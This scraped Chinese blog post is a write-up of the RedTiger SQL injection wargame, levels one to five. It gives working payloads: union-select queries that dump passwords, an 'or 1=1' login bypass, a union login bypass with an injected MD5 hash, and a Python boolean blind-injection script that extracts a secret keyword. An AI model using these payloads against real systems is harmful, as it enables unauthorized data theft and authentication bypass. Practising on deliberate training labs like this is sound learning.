1. 程式人生 > >Redtiger SQL註入練習(一)

Redtiger SQL註入練習(一)

username shu The 查詢 info format print 多次 ali

感覺會的東西太少了,以後要多練習,多寫博客。要堅持學習,一定不能放棄,為夢想奮鬥。

redtiger 這個平臺早就開始做了,但是才做到第4關。。。。

第一關

打開題,

技術分享圖片

先隨便試,後來發現點擊 Category 後的1 可以註入,

技術分享圖片

然後就是註入了,構造cat=1‘‘ 還報錯,估計是數字型註入,然後構造cat=1 order by 1猜列數,得出是4個。

cat=1 union select 1,2,3,4 發現回顯3,4。

我用information_schema這個庫,但是不行,仔細看頁面發現已經給了表名,學網安也需要視力啊。

直接cat=1 union select 1,2,password,4 from level1_users

用戶名也給出了,然後就登錄進入第二關吧!

第二關:

看題想到萬能密碼,我試了很多次都登不上,看了別人的操作,感覺我輸入的和他一樣啊,咋就進不去了。。。。

直接粘貼復制的萬能密碼登錄。

username=admin‘ or ‘1‘=‘1 password=‘or 1=1#

第三關:

我在這關采坑時間最長,翻遍了所有人的writeup,就是不行。。。後來才知道問題所在。

提示是,報錯註入。點擊TheCow ,看到url明顯經過加密,函數報錯。。。也不知道怎麽加密,就試了數組 usr[]=.......

技術分享圖片

進入這個文件,發現加密解密函數

技術分享圖片

然後構造 註入語句 加密就可以了。(不知道是php版本不同還是linux和windows不同導致的隨機數不同,加密的結果也不同,我就踩了這個坑。)

這個網址有詳細註入過程:https://www.jianshu.com/p/84d543cff8c0

第四關:

進入第四關,發現註入只會回顯0或1,應該是布爾盲註。

猜一下keyword長度,id=1 and length(keyword)= 得出21.

構造url語句 id=1 and ascii(substr((keyword,1,1)))=

盲註腳本:

import string
from re import *
from urllib.request import *

answer=""
char=string.printable
login ={‘Cookie‘:‘level4login=there_is_no_bug‘}
url="https://redtiger.labs.overthewire.org/level4.php?id=1%20and%20ascii(substr((select%20keyword%20from%20level4_secret),{0},1))={1}"

for q in range(1,22):
    for i in range(1,127):
        test=(url .format(q,i))
        request=Request(test,None,headers=login)
        res=urlopen(request)
        s=res.read().decode()
        if(findall("Query returned 1 rows.",s)):
            print("{0}  ".format(q)+i)
            answer+=i
            break

print(answer)

跑出答案,進入第五關。

第五關:

技術分享圖片

看提示,過濾了幾個函數,而且不是盲註,bapass 登錄,密碼是md5加密。

先隨便輸一個賬號密碼,返回 user not found。

然後構造一個:技術分享圖片

返回,login failed。可見 username已經繞過。然後order by查詢,發現不可以。直接union select 試吧。技術分享圖片

得出字段是2。

構造:username=‘ union select 1,‘c81e728d9d4c2f636f067f89cc14862c‘#

password=2

過關。。。。

(後5關再寫另一篇)

Redtiger SQL註入練習(一)